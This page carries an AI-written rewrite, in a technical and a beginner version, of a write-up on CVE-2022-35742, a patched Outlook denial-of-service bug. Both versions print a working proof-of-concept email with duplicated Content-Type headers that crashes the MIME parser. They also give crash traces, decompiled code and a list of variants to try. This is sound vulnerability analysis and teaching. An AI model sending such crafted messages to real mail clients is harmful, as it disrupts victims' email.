Skip to content
DoS Write-up Advanced

Alternative link

A crafted email with multiple Content-Type headers of different lengths causes Outlook's MIME parser to free an unallocated pointer, leading to a denial of service. An attacker could crash Outlook by sending such an email.

github.com

Published on github.com

writeup

The author, on github.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

This write-up covers CVE-2022-35742, a denial of service vulnerability in Microsoft Outlook that was patched on Patch Tuesday in August 2022. The affected component is OUTLMIME.dll, the library Outlook uses to parse MIME content. When Outlook synchronises with a mail server, it parses the MIME properties of incoming messages, and that parsing path is where the flaw sits.

The trigger is a crafted email. An attacker who can send mail to a victim can deliver a message whose Content-Type headers are shaped to confuse the property container that OUTLMIME.dll uses while parsing MIME. The result is a heap error inside Outlook, which the researcher demonstrates with a debugger break on c0000374.

Setup

The report does not describe the test environment in detail: no Outlook build number, Windows version, account configuration or tooling list is given. What it does show is a proof of concept message, a disassembly of the relevant routines, and a debugger session captured at the moment the fault occurs. The PoC is distributed as CVE-2022-35742.eml, and a recording of the exploit is included as poc.mp4.

Finding it

The researcher's starting point is the MIME property handling in OUTLMIME.dll. The parser treats the value of a Content-Type header as a buffer whose length determines how it is stored: long values are copied into heap memory, short values are kept in a small scratch buffer inside the property object. The bookkeeping which records which of the two storage modes is in use gets out of step when more than one Content-Type header is present in the same part.

Exploitation

Step 1: craft the message

The PoC message contains a multipart/signed body with a boundary of A, a subject, and a single part that carries two Content-Type headers. The first is extremely long; the second is short.

Text
Content-Type: multipart/signed;boundary="A"
Subject: MEOW

--A
Content-Type:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Content-Type:application

--A--

The first Content-Type value is longer than 0xaa bytes, which puts the property container into its heap-allocated mode. The second is short, which puts it back into scratch-buffer mode. The order and the lengths are what matter.

Step 2: deliver and open the message

The report states that the vulnerability synchronises with the mail server and occurs during MIME property parsing. The recording poc.mp4 shows the exploit in action.

Step 3: observe the crash

When the fault is triggered under a debugger, the process stops with a critical heap error. The report gives the following memory information from the moment of the vulnerability.

Text
Critical error detected c0000374
WARNING: This break is not a step/trace completion.
The last command has been cleared to prevent
accidental continuation of this unrelated event.
Check the event, location and thread before resuming.
(19a0.19a4): Break instruction exception - code 80000003 (first chance)
ntdll!RtlReportCriticalFailure+0x56:
00007ffe`0ae6f1d2 cc              int     3
0:000> k
 # Child-SP          RetAddr               Call Site
00 000000f1`463d9e50 00007ffe`0ae77f92     ntdll!RtlReportCriticalFailure+0x56
01 000000f1`463d9f40 00007ffe`0ae7827a     ntdll!RtlpHeapHandleError+0x12
02 000000f1`463d9f70 00007ffe`0ae7df01     ntdll!RtlpHpHeapHandleError+0x7a
03 000000f1`463d9fa0 00007ffe`0ad95bf0     ntdll!RtlpLogHeapFailure+0x45
04 000000f1`463d9fd0 00007ffe`0ad947b1     ntdll!RtlpFreeHeapInternal+0x4e0
05 000000f1`463da090 00007ffd`cbcb1b5d     ntdll!RtlFreeHeap+0x51
06 000000f1`463da0d0 00007ffd`cbcb18c8     OUTLMIME!CloseAllSockets+0x4d07d
07 000000f1`463da1e0 00007ffd`cbcaf79e     OUTLMIME!CloseAllSockets+0x4cde8
08 000000f1`463da2a0 00007ffd`cbcaf954     OUTLMIME!CloseAllSockets+0x4acbe
09 000000f1`463da2d0 00007ffd`cbc9e3e2     OUTLMIME!CloseAllSockets+0x4ae74
0a 000000f1`463da300 00007ffd`cbc9e384     OUTLMIME!CloseAllSockets+0x39902
0b 000000f1`463da330 00007ffd`cbce80b0     OUTLMIME!CloseAllSockets+0x398a4
0c 000000f1`463da360 00007ffd`cbc92350     OUTLMIME!MimeOleInetDateToFileTime+0xf430
0d 000000f1`463da390 00007ffd`cbc917a2     OUTLMIME!CloseAllSockets+0x2d870
0e 000000f1`463da3c0 00007ffd`cbc90512     OUTLMIME!CloseAllSockets+0x2ccc2
0f 000000f1`463da4a0 00007ffd`cbc90484     OUTLMIME!CloseAllSockets+0x2ba32
10 000000f1`463da4d0 00007ffd`cbce80b0     OUTLMIME!CloseAllSockets+0x2b9a4
11 000000f1`463da500 00007ffd`cbcf4a13     OUTLMIME!MimeOleInetDateToFileTime+0xf430
12 000000f1`463da530 00007ffd`cbd03678     OUTLMIME!MimeOleInetDateToFileTime+0x1bd93
13 000000f1`463dae90 00007ffd`cbd03b49     OUTLMIME!MimeOleInetDateToFileTime+0x2a9f8
14 000000f1`463dafe0 00007ffd`cbd0375c     OUTLMIME!MimeOleInetDateToFileTime+0x2aec9
15 000000f1`463db260 00007ff6`fa2264d7     OUTLMIME!MimeOleInetDateToFileTime+0x2aadc
16 000000f1`463db2a0 00007ff6`f9fccde5     outlook!HrGetAMapProgressObject+0x1ca2a7
17 000000f1`463db400 00007ff6`f9963006     outlook!HrSetOutlookSpecialFolderEntryID+0x181cb5
18 000000f1`463db4f0 00007ff6`f9961ce4     outlook!StdCoCreateInstance+0x43426
19 000000f1`463db530 00007ff6`f9963006     outlook!StdCoCreateInstance+0x42104
1a 000000f1`463db5e0 00007ff6`f9962cb8     outlook!StdCoCreateInstance+0x43426
1b 000000f1`463db620 00007ff6`f99f6312     outlook!StdCoCreateInstance+0x430d8
1c 000000f1`463df730 00007ff6`f99cc36e     outlook!HrEnsureIMManager+0x7f02
1d 000000f1`463df760 00007ff6`f9b4ddc2     outlook!HrGetDelegatorInfoSync+0x557de
1e 000000f1`463df7b0 00007ffe`0a377034     outlook!OlkGetResourceHandle+0x6692
1f 000000f1`463df7f0 00007ffe`0adc2651     KERNEL32!BaseThreadInitThunk+0x14
20 000000f1`463df820 00000000`00000000     ntdll!RtlUserThreadStart+0x21

The stack shows the failure surfacing in the heap manager: RtlpLogHeapFailure, RtlpHeapHandleError and RtlReportCriticalFailure sit above RtlFreeHeap, which was called from OUTLMIME!CloseAllSockets+0x4d07d. In other words, the free of an invalid pointer is what the heap manager rejects.

Root cause

The report walks through the disassembly of the property value handler. The first block computes the length of the Content-Type value and stores it in the property object.

Text
data = (char *)*((_QWORD *)a4 + 1);
if ( data )
{
  len = (unsigned int)a4[4];
  if ( !data[len] )
  {
    v25 = len + 1;
    value_len = -1;
    if ( (int)len + 1 >= (unsigned int)len )
      value_len = len + 1;
    v7 = v25 < (unsigned int)len ? 0x80070216 : 0;
    if ( v25 < (unsigned int)len )
      goto LABEL_58;
    a2->dword10 = len;
    goto set_flag;
  }
}

The second block decides where the value is stored, based on the length and on a flag held in a2->dword100.

Text
set_flag:
  p_word8 = (void **)&a2->word8;
LABEL_41:
  dword3C = a2->dword3C;
  if ( value_len > dword3C )
  {
    Outlmime_CMimePropertyContainer_VariantValueLargerThanBuffer(*(_DWORD *)(v19 + 1152), value_len, dword3C);
    dword100 = a2->dword100;
    **if ( value_len > 0xAA )**
    {
      if ( (dword100 & 2) != 0 )
      {
        pvoid30 = a2->pvoid30;
      }
      else
      {
        a2->pvoid30 = 0i64;
        pvoid30 = 0i64;
        a2->dword3C = 0;
      }
      v29 = (void *)((__int64 (__fastcall *)(LPMALLOC, void *, _QWORD))ppMalloc->lpVtbl->Realloc)(
                      ppMalloc,
                      pvoid30,
                      value_len);
      if ( !v29 )
      {
        v7 = 0x8007000E;
        goto LABEL_58;
      }
      v30 = v40;
      **a2->dword100 |= 2u;**
      sub_18005F9D8(*(unsigned int *)(v30 + 1152), 1i64, value_len);
      **a2->pvoid30 = v29;**
      a2->dword3C = value_len;
    }
    else
    {
      if ( (dword100 & 2) != 0 )
      {
        ((void (__fastcall *)(LPMALLOC, void *))ppMalloc->lpVtbl->Free)(ppMalloc, a2->pvoid30);
        a2->dword100 &= ~2u;
      }
      Outlmime_CMimePropertyContainer_VariantValueFitsInScratchBuffer(*(_DWORD *)(v19 + 1152), value_len);
      a2->dword3C = 0xAA;
      **a2->pvoid30 = a2->gap40;**
    }
  }
	**memcpy(a2->pvoid30, data, value_len);**
  v31 = p_word8;
  a2->dword38 = value_len;

The logic is as follows. If the value length is greater than 0xaa, memory is allocated, a2->pvoid30 is set to the address of that allocation, and a2->dword100 is ORed with 2. If the length is not greater than 0xaa, a2->pvoid30 is set to a2->gap40, the scratch buffer inside the object. The value is then copied to a2->pvoid30 with memcpy.

The problem appears when two Content-Type headers are processed in sequence. On the first one, the value length is greater than 0xaa, so the heap allocation happens and the flag bit 2 is set. On the second one, the value length is less than 0xaa, so the flag is not set, yet the value of each Content-Type is combined and a2->pvoid30 ends up pointing at a2->gap40 while the flag bit 2 remains set.

That inconsistent state is fatal at teardown. The cleanup code checks the flag and the pointer before freeing.

Text
v12 = (v3->byte100 & 2) == 0;
v3->qword110 = 0i64;
if ( !v12 && v3->qword30 )
{
  ((void (__fastcall *)(LPMALLOC))ppMalloc->lpVtbl->Free)(ppMalloc);// Free
  v3->qword30 = 0i64;
}

Because the flag bit 2 is set and v3->qword30 points at v3->gap40, the code calls Free on a pointer that was never allocated on the heap. That is the invalid free the heap manager reports as c0000374.

Impact

This is a denial of service vulnerability. An attacker who can send a crafted email to a victim can cause Outlook to hit the heap error described above while it parses the message. The report does not describe any path to code execution, data disclosure or persistence, and it does not state which Outlook versions or configurations are affected beyond the August 2022 patch.

Fix

Microsoft patched the vulnerability in the August 2022 Patch Tuesday update. The report does not include the patch diff or describe the code change, so the exact fix is not shown here. The advisory is referenced at https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-35742.

Variants to test

  • Send a message with more than two Content-Type headers in one part, alternating long and short values. A positive result is the same c0000374 heap error in OUTLMIME!CloseAllSockets during parsing.
  • Vary the length of the long value around the 0xaa threshold. A positive result is a crash when one header crosses the threshold and a later one does not.
  • Try the same pattern with other MIME properties that share the same property container and the same scratch-buffer versus heap-allocation logic. A positive result is an invalid free reported by the heap manager on message teardown.
  • Reorder the headers so the short value comes first and the long value second. A positive result would show whether the flag and pointer can be desynchronised in the other direction as well.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 17 min read.

What happened, in plain words

In August 2022, Microsoft fixed a bug in Outlook, its email program. The bug had the official name CVE-2022-35742. A CVE is a public catalogue number that security researchers and vendors give to a specific security flaw so everyone can talk about the same thing. This one was a denial of service: a type of bug where an attacker cannot steal data or run their own code, but can make a program stop working. In this case, a specially built email could make Outlook crash while it was reading the message.

The part of Outlook that contained the bug is a file called OUTLMIME.dll. A .dll is a library: a bundle of code that a program loads and reuses, rather than writing everything from scratch. This particular library is the one Outlook uses to understand MIME. MIME (Multipurpose Internet Mail Extensions) is the set of rules that lets email carry more than plain text: attachments, images, HTML bodies, and so on. Every email you have ever received with a picture or a PDF inside was using MIME.

When Outlook talks to a mail server (the computer that stores and delivers your mail), it downloads messages and then parses them. Parsing means reading the raw text of the message and turning it into structured pieces the program can work with: this part is the subject, this part is the body, this part is an attachment. The bug lives in that parsing step. An attacker who can send mail to a victim can deliver a message whose Content-Type headers are shaped in a way that confuses the internal bookkeeping in OUTLMIME.dll. The result is a heap error inside Outlook. A heap is the area of memory a program uses for things it creates while running, and a heap error means the program has mismanaged that memory. The researcher shows the crash by pausing the program in a debugger (a tool that lets you inspect a running program) at the moment the error is reported, with the code c0000374.

Setup

The report does not describe the test environment in detail: no Outlook build number, Windows version, account configuration or tooling list is given. What it does show is a proof of concept message, a disassembly of the relevant routines, and a debugger session captured at the moment the fault occurs. A proof of concept (PoC) is a small, deliberately harmless demonstration that proves a bug is real. The PoC is distributed as CVE-2022-35742.eml, and a recording of the exploit is included as poc.mp4. An .eml file is simply a saved email message: you can open it in a mail program and it behaves like a message that arrived in your inbox.

Finding it

The researcher's starting point is the MIME property handling in OUTLMIME.dll. A property here means one named piece of information about a message part, such as its type or its encoding. The observation is that the parser treats the value of a Content-Type header as a buffer whose length determines how it is stored. A buffer is a chunk of memory set aside to hold data. Long values are copied into heap memory, which is flexible and can be any size. Short values are kept in a small scratch buffer inside the property object itself, which is faster because no separate allocation is needed. Think of it like a desk: small notes go on a sticky note right in front of you, while large documents go into a filing cabinet. The bookkeeping which records which of the two storage modes is in use gets out of step when more than one Content-Type header is present in the same part. In other words, the program can end up believing a value is in the filing cabinet when it is actually on a sticky note.

Exploitation

Step 1: craft the message

The PoC message contains a multipart/signed body with a boundary of A, a subject, and a single part that carries two Content-Type headers. The first is extremely long; the second is short. A multipart message is one email made of several sections glued together, and the boundary is the marker text that says where one section ends and the next begins. Here the marker is the single letter A.

Text
Content-Type: multipart/signed;boundary="A"
Subject: MEOW

--A
Content-Type:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Content-Type:application

--A--

Line by line:

  • Content-Type: multipart/signed;boundary="A" tells the mail program that this message is made of multiple sections, and that the separator between sections is the text A.
  • Subject: MEOW is the subject line. It is arbitrary; the report uses a placeholder word.
  • The blank line ends the headers and starts the body.
  • --A is the boundary marker announcing the start of the first section.
  • The first Content-Type: line is the long one. Notice there is no space after the colon, and the value is a long run of the letter a. This is the value that is longer than 0xaa bytes.
  • The second Content-Type:application is short. This is the value that is not longer than 0xaa bytes.
  • The blank line ends that section's headers.
  • --A-- is the closing boundary, meaning there are no more sections.

0xaa is a number written in hexadecimal, a base-16 way of writing numbers that programmers use a lot. 0xaa equals 170 in ordinary decimal. So the first value is longer than 170 bytes and the second is not. The order and the lengths are what matter: the long value comes first, the short value second.

Step 2: deliver and open the message

The report states that the vulnerability synchronises with the mail server and occurs during MIME property parsing. In plain terms, Outlook does not need you to click anything special; the parsing happens as part of normal mail synchronisation, which is the routine exchange where Outlook checks the server for new messages and pulls them down. The recording poc.mp4 shows the exploit in action.

Step 3: observe the crash

When the fault is triggered under a debugger, the process stops with a critical heap error. The report gives the following memory information from the moment of the vulnerability.

Text
Critical error detected c0000374
WARNING: This break is not a step/trace completion.
The last command has been cleared to prevent
accidental continuation of this unrelated event.
Check the event, location and thread before resuming.
(19a0.19a4): Break instruction exception - code 80000003 (first chance)
ntdll!RtlReportCriticalFailure+0x56:
00007ffe`0ae6f1d2 cc              int     3
0:000> k
 # Child-SP          RetAddr               Call Site
00 000000f1`463d9e50 00007ffe`0ae77f92     ntdll!RtlReportCriticalFailure+0x56
01 000000f1`463d9f40 00007ffe`0ae7827a     ntdll!RtlpHeapHandleError+0x12
02 000000f1`463d9f70 00007ffe`0ae7df01     ntdll!RtlpHpHeapHandleError+0x7a
03 000000f1`463d9fa0 00007ffe`0ad95bf0     ntdll!RtlpLogHeapFailure+0x45
04 000000f1`463d9fd0 00007ffe`0ad947b1     ntdll!RtlpFreeHeapInternal+0x4e0
05 000000f1`463da090 00007ffd`cbcb1b5d     ntdll!RtlFreeHeap+0x51
06 000000f1`463da0d0 00007ffd`cbcb18c8     OUTLMIME!CloseAllSockets+0x4d07d
07 000000f1`463da1e0 00007ffd`cbcaf79e     OUTLMIME!CloseAllSockets+0x4cde8
08 000000f1`463da2a0 00007ffd`cbcaf954     OUTLMIME!CloseAllSockets+0x4acbe
09 000000f1`463da2d0 00007ffd`cbc9e3e2     OUTLMIME!CloseAllSockets+0x4ae74
0a 000000f1`463da300 00007ffd`cbc9e384     OUTLMIME!CloseAllSockets+0x39902
0b 000000f1`463da330 00007ffd`cbce80b0     OUTLMIME!CloseAllSockets+0x398a4
0c 000000f1`463da360 00007ffd`cbc92350     OUTLMIME!MimeOleInetDateToFileTime+0xf430
0d 000000f1`463da390 00007ffd`cbc917a2     OUTLMIME!CloseAllSockets+0x2d870
0e 000000f1`463da3c0 00007ffd`cbc90512     OUTLMIME!CloseAllSockets+0x2ccc2
0f 000000f1`463da4a0 00007ffd`cbc90484     OUTLMIME!CloseAllSockets+0x2ba32
10 000000f1`463da4d0 00007ffd`cbce80b0     OUTLMIME!CloseAllSockets+0x2b9a4
11 000000f1`463da500 00007ffd`cbcf4a13     OUTLMIME!MimeOleInetDateToFileTime+0xf430
12 000000f1`463da530 00007ffd`cbd03678     OUTLMIME!MimeOleInetDateToFileTime+0x1bd93
13 000000f1`463dae90 00007ffd`cbd03b49     OUTLMIME!MimeOleInetDateToFileTime+0x2a9f8
14 000000f1`463dafe0 00007ffd`cbd0375c     OUTLMIME!MimeOleInetDateToFileTime+0x2aec9
15 000000f1`463db260 00007ff6`fa2264d7     OUTLMIME!MimeOleInetDateToFileTime+0x2aadc
16 000000f1`463db2a0 00007ff6`f9fccde5     outlook!HrGetAMapProgressObject+0x1ca2a7
17 000000f1`463db400 00007ff6`f9963006     outlook!HrSetOutlookSpecialFolderEntryID+0x181cb5
18 000000f1`463db4f0 00007ff6`f9961ce4     outlook!StdCoCreateInstance+0x43426
19 000000f1`463db530 00007ff6`f9963006     outlook!StdCoCreateInstance+0x42104
1a 000000f1`463db5e0 00007ff6`f9962cb8     outlook!StdCoCreateInstance+0x43426
1b 000000f1`463db620 00007ff6`f99f6312     outlook!StdCoCreateInstance+0x430d8
1c 000000f1`463df730 00007ff6`f99cc36e     outlook!HrEnsureIMManager+0x7f02
1d 000000f1`463df760 00007ff6`f9b4ddc2     outlook!HrGetDelegatorInfoSync+0x557de
1e 000000f1`463df7b0 00007ffe`0a377034     outlook!OlkGetResourceHandle+0x6692
1f 000000f1`463df7f0 00007ffe`0adc2651     KERNEL32!BaseThreadInitThunk+0x14
20 000000f1`463df820 00000000`00000000     ntdll!RtlUserThreadStart+0x21

Line by line:

  • Critical error detected c0000374 is the debugger telling us the program has hit a fatal memory problem. c0000374 is the Windows code for a heap corruption being detected.
  • The WARNING: lines are the debugger explaining that it has stopped the program and cleared the last command, so you do not accidentally continue past the fault.
  • (19a0.19a4): Break instruction exception - code 80000003 (first chance) says the program hit a deliberate break instruction, which is how the debugger pauses execution when it detects the error. first chance means this is the first time the debugger has seen this exception.
  • ntdll!RtlReportCriticalFailure+0x56: names the function where execution stopped. ntdll is a core Windows library, and +0x56 means 86 bytes into that function.
  • 00007ffe0ae6f1d2 cc int 3shows the instruction at that address.int 3` is the machine instruction that triggers a breakpoint.
  • 0:000> k is the command typed into the debugger. k means show the call stack, which is the list of functions that called each other to get here.
  • Each numbered line in the stack is one frame. The top frame (00) is where we are now; the bottom (20) is where the thread started. Reading from top to bottom tells you the chain of calls.
  • ntdll!RtlReportCriticalFailure, ntdll!RtlpHeapHandleError, ntdll!RtlpHpHeapHandleError and ntdll!RtlpLogHeapFailure are Windows heap-management functions reporting the problem.
  • ntdll!RtlpFreeHeapInternal and ntdll!RtlFreeHeap are the functions that free memory. The crash happens inside the act of freeing.
  • OUTLMIME!CloseAllSockets+0x4d07d is the Outlook MIME library calling into the free routine. The name CloseAllSockets is just the nearest named function the debugger could find; the +0x4d07d offset shows the real code is far past its start.
  • The remaining OUTLMIME! and outlook! frames show the chain of Outlook code that led here, ending with KERNEL32!BaseThreadInitThunk and ntdll!RtlUserThreadStart, which are the standard Windows routines that start a thread.

The stack shows the failure surfacing in the heap manager: RtlpLogHeapFailure, RtlpHeapHandleError and RtlReportCriticalFailure sit above RtlFreeHeap, which was called from OUTLMIME!CloseAllSockets+0x4d07d. In other words, the free of an invalid pointer is what the heap manager rejects. A pointer is a number that says where something lives in memory. Freeing a pointer means telling the memory manager you are done with that block. If the pointer does not point to a block you were actually given, the manager notices and stops the program.

Root cause

The report walks through the disassembly of the property value handler. The first block computes the length of the Content-Type value and stores it in the property object.

Text
data = (char *)*((_QWORD *)a4 + 1);
if ( data )
{
  len = (unsigned int)a4[4];
  if ( !data[len] )
  {
    v25 = len + 1;
    value_len = -1;
    if ( (int)len + 1 >= (unsigned int)len )
      value_len = len + 1;
    v7 = v25 < (unsigned int)len ? 0x80070216 : 0;
    if ( v25 < (unsigned int)len )
      goto LABEL_58;
    a2->dword10 = len;
    goto set_flag;
  }
}

Line by line:

  • data = (char *)*((_QWORD *)a4 + 1); takes a pointer from the input structure a4 and treats it as the start of the header value text. This is the raw characters of the Content-Type value.
  • if ( data ) checks the pointer is not empty before using it.
  • len = (unsigned int)a4[4]; reads the length of the value from the input structure.
  • if ( !data[len] ) checks that the byte just past the end of the value is zero, which is how C-style strings mark their end.
  • v25 = len + 1; computes the length including that terminating zero.
  • value_len = -1; sets a default that will be overwritten.
  • if ( (int)len + 1 >= (unsigned int)len ) checks for an overflow: if adding one wrapped around to a smaller number, something is wrong.
  • value_len = len + 1; if the check passed, the real length is stored.
  • v7 = v25 < (unsigned int)len ? 0x80070216 : 0; sets an error code if the overflow happened.
  • if ( v25 < (unsigned int)len ) goto LABEL_58; jumps to the error path if so.
  • a2->dword10 = len; saves the length in the property object a2.
  • goto set_flag; moves on to the storage decision.

The second block decides where the value is stored, based on the length and on a flag held in a2->dword100.

Text
set_flag:
  p_word8 = (void **)&a2->word8;
LABEL_41:
  dword3C = a2->dword3C;
  if ( value_len > dword3C )
  {
    Outlmime_CMimePropertyContainer_VariantValueLargerThanBuffer(*(_DWORD *)(v19 + 1152), value_len, dword3C);
    dword100 = a2->dword100;
    **if ( value_len > 0xAA )**
    {
      if ( (dword100 & 2) != 0 )
      {
        pvoid30 = a2->pvoid30;
      }
      else
      {
        a2->pvoid30 = 0i64;
        pvoid30 = 0i64;
        a2->dword3C = 0;
      }
      v29 = (void *)((__int64 (__fastcall *)(LPMALLOC, void *, _QWORD))ppMalloc->lpVtbl->Realloc)(
                      ppMalloc,
                      pvoid30,
                      value_len);
      if ( !v29 )
      {
        v7 = 0x8007000E;
        goto LABEL_58;
      }
      v30 = v40;
      **a2->dword100 |= 2u;**
      sub_18005F9D8(*(unsigned int *)(v30 + 1152), 1i64, value_len);
      **a2->pvoid30 = v29;**
      a2->dword3C = value_len;
    }
    else
    {
      if ( (dword100 & 2) != 0 )
      {
        ((void (__fastcall *)(LPMALLOC, void *))ppMalloc->lpVtbl->Free)(ppMalloc, a2->pvoid30);
        a2->dword100 &= ~2u;
      }
      Outlmime_CMimePropertyContainer_VariantValueFitsInScratchBuffer(*(_DWORD *)(v19 + 1152), value_len);
      a2->dword3C = 0xAA;
      **a2->pvoid30 = a2->gap40;**
    }
  }
	**memcpy(a2->pvoid30, data, value_len);**
  v31 = p_word8;
  a2->dword38 = value_len;

Line by line:

  • set_flag: and LABEL_41: are just named places in the code that jumps can land on.
  • p_word8 = (void **)&a2->word8; saves the address of a field in the property object for later.
  • dword3C = a2->dword3C; reads the current capacity of the storage.
  • if ( value_len > dword3C ) runs the storage logic only when the new value does not fit in what is already there.
  • Outlmime_CMimePropertyContainer_VariantValueLargerThanBuffer(...) is a logging or diagnostic call recording that the value is bigger than the buffer.
  • dword100 = a2->dword100; reads the flags field.
  • if ( value_len > 0xAA ) is the key branch: is the value longer than 170 bytes?
  • Inside the long branch, if ( (dword100 & 2) != 0 ) checks whether flag bit 2 is already set, meaning heap storage is already in use. & is a bitwise AND, which tests whether a particular bit is on.
  • If the flag is set, pvoid30 = a2->pvoid30; reuses the existing heap pointer.
  • Otherwise, a2->pvoid30 = 0i64;, pvoid30 = 0i64; and a2->dword3C = 0; clear the pointer and capacity so a fresh allocation starts from nothing.
  • v29 = ... Realloc(...) asks the memory manager for a block of value_len bytes. Realloc means resize: it can grow an existing block or make a new one.
  • if ( !v29 ) checks whether the allocation failed.
  • v7 = 0x8007000E; is the out-of-memory error code, and goto LABEL_58; jumps to the error exit.
  • a2->dword100 |= 2u; sets flag bit 2. |= is a bitwise OR-and-assign, which turns the bit on.
  • sub_18005F9D8(...) is another internal call, likely bookkeeping.
  • a2->pvoid30 = v29; stores the heap address in the property object.
  • a2->dword3C = value_len; records the new capacity.
  • In the short branch, if ( (dword100 & 2) != 0 ) checks whether heap storage was previously in use. If so, Free(...) releases it and a2->dword100 &= ~2u; clears flag bit 2. ~ flips all the bits, so this turns bit 2 off.
  • Outlmime_CMimePropertyContainer_VariantValueFitsInScratchBuffer(...) is another diagnostic call.
  • a2->dword3C = 0xAA; records the scratch buffer capacity as 170 bytes.
  • a2->pvoid30 = a2->gap40; points the storage at the scratch buffer inside the object.
  • memcpy(a2->pvoid30, data, value_len); copies the actual value bytes into wherever a2->pvoid30 now points.
  • v31 = p_word8; and a2->dword38 = value_len; finish the bookkeeping.

The logic is as follows. If the value length is greater than 0xaa, memory is allocated, a2->pvoid30 is set to the address of that allocation, and a2->dword100 is ORed with 2. If the length is not greater than 0xaa, a2->pvoid30 is set to a2->gap40, the scratch buffer inside the object. The value is then copied to a2->pvoid30 with memcpy.

The problem appears when two Content-Type headers are processed in sequence. On the first one, the value length is greater than 0xaa, so the heap allocation happens and the flag bit 2 is set. On the second one, the value length is less than 0xaa, so the flag is not set, yet the value of each Content-Type is combined and a2->pvoid30 ends up pointing at a2->gap40 while the flag bit 2 remains set. Going back to the desk comparison: the sticky note is now in use, but the label on the filing cabinet still says a document is inside it.

That inconsistent state is fatal at teardown. The cleanup code checks the flag and the pointer before freeing.

Text
v12 = (v3->byte100 & 2) == 0;
v3->qword110 = 0i64;
if ( !v12 && v3->qword30 )
{
  ((void (__fastcall *)(LPMALLOC))ppMalloc->lpVtbl->Free)(ppMalloc);// Free
  v3->qword30 = 0i64;
}

Line by line:

  • v12 = (v3->byte100 & 2) == 0; records whether flag bit 2 is off. If the bit is on, v12 is false.
  • v3->qword110 = 0i64; clears another field.
  • if ( !v12 && v3->qword30 ) runs the free only when the flag bit is on (so !v12 is true) and the pointer is not empty.
  • Free(...) releases the memory the pointer refers to.
  • v3->qword30 = 0i64; clears the pointer afterwards so it is not used again.

Because the flag bit 2 is set and v3->qword30 points at v3->gap40, the code calls Free on a pointer that was never allocated on the heap. That is the invalid free the heap manager reports as c0000374. The scratch buffer lives inside the object itself, not in a separate heap block, so the memory manager has no record of handing it out and refuses to take it back.

Impact

This is a denial of service vulnerability. An attacker who can send a crafted email to a victim can cause Outlook to hit the heap error described above while it parses the message. The report does not describe any path to code execution, data disclosure or persistence, and it does not state which Outlook versions or configurations are affected beyond the August 2022 patch. Code execution would mean running the attacker's own instructions on the victim's machine; data disclosure would mean leaking information; persistence would mean staying on the machine after a restart. None of those are claimed here. The practical effect is that the mail client stops working, which can interrupt the victim's work.

Fix

Microsoft patched the vulnerability in the August 2022 Patch Tuesday update. Patch Tuesday is Microsoft's regular monthly release day for security fixes, so administrators know when to expect updates. The report does not include the patch diff or describe the code change, so the exact fix is not shown here. A patch diff would be the before-and-after view of the changed code. The advisory is referenced at https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-35742. An advisory is the vendor's official notice describing the flaw, its severity and the update that fixes it.

Variants to test

These are follow-up experiments a researcher might run to see how general the bug is. Each one changes one thing about the crafted message and looks for the same kind of failure.

  • Send a message with more than two Content-Type headers in one part, alternating long and short values. A positive result is the same c0000374 heap error in OUTLMIME!CloseAllSockets during parsing.
  • Vary the length of the long value around the 0xaa threshold. A positive result is a crash when one header crosses the threshold and a later one does not.
  • Try the same pattern with other MIME properties that share the same property container and the same scratch-buffer versus heap-allocation logic. A positive result is an invalid free reported by the heap manager on message teardown.
  • Reorder the headers so the short value comes first and the long value second. A positive result would show whether the flag and pointer can be desynchronised in the other direction as well.

Glossary

  • Advisory: the vendor's official public notice about a security flaw, including severity and the update that fixes it.
  • Bit: a single binary digit, either 0 or 1. Flags are often stored as individual bits inside one number.
  • Bitwise AND (&): an operation that compares two numbers bit by bit and keeps a 1 only where both have a 1. Used to test whether a particular bit is set.
  • Bitwise OR (|): an operation that combines two numbers bit by bit and sets a 1 where either has a 1. Used to turn a particular bit on.
  • Boundary: in a multipart email, the marker text that separates one section from the next.
  • Buffer: a chunk of memory set aside to hold data.
  • Call stack: the list of functions that called each other to reach the current point in a program.
  • Content-Type: an email or web header that says what kind of content follows, such as text, an image or a multipart message.
  • CVE: a public catalogue number given to a specific security flaw so everyone can refer to the same issue.
  • Debugger: a tool that lets you pause and inspect a running program, including its memory and the chain of function calls.
  • Denial of service: a bug that makes a program or service stop working, without necessarily stealing data or running attacker code.
  • Disassembly: the low-level machine instructions of a program shown in a readable form.
  • DLL: a library file containing code that programs load and reuse.
  • .eml file: a saved email message that a mail program can open like a normal message.
  • Flag: a small marker, often one bit, that records a state such as which storage mode is in use.
  • Heap: the area of memory a program uses for things it creates while running, allocated and freed on demand.
  • Heap corruption: a state where a program has mismanaged heap memory, for example by freeing something it did not allocate.
  • Hexadecimal: a base-16 way of writing numbers, common in programming. 0xaa equals 170 in decimal.
  • Invalid free: asking the memory manager to release a block that was never handed out, which it rejects.
  • Library: a bundle of reusable code that a program loads rather than writing everything itself.
  • MIME: the rules that let email carry attachments, images, HTML and other content beyond plain text.
  • Multipart: an email made of several sections glued together with boundary markers.
  • Outlook: Microsoft's email and calendar program.
  • Parsing: reading raw text and turning it into structured pieces a program can work with.
  • Patch Tuesday: Microsoft's regular monthly release day for security updates.
  • Pointer: a number that says where something lives in memory.
  • Proof of concept (PoC): a small, deliberately harmless demonstration that proves a bug is real.
  • Property: one named piece of information about a message part, such as its type or encoding.
  • Realloc: a memory operation that resizes an existing block or makes a new one.
  • Scratch buffer: a small area inside an object used for short values, so no separate allocation is needed.
  • Synchronisation: the routine exchange where a mail client checks the server for new messages and pulls them down.
  • Thread: one sequence of execution inside a program; a program can run several at once.
  • Threshold: the cut-off value that decides which branch of code runs. Here it is 0xaa, or 170 bytes.

Similar reports

View all

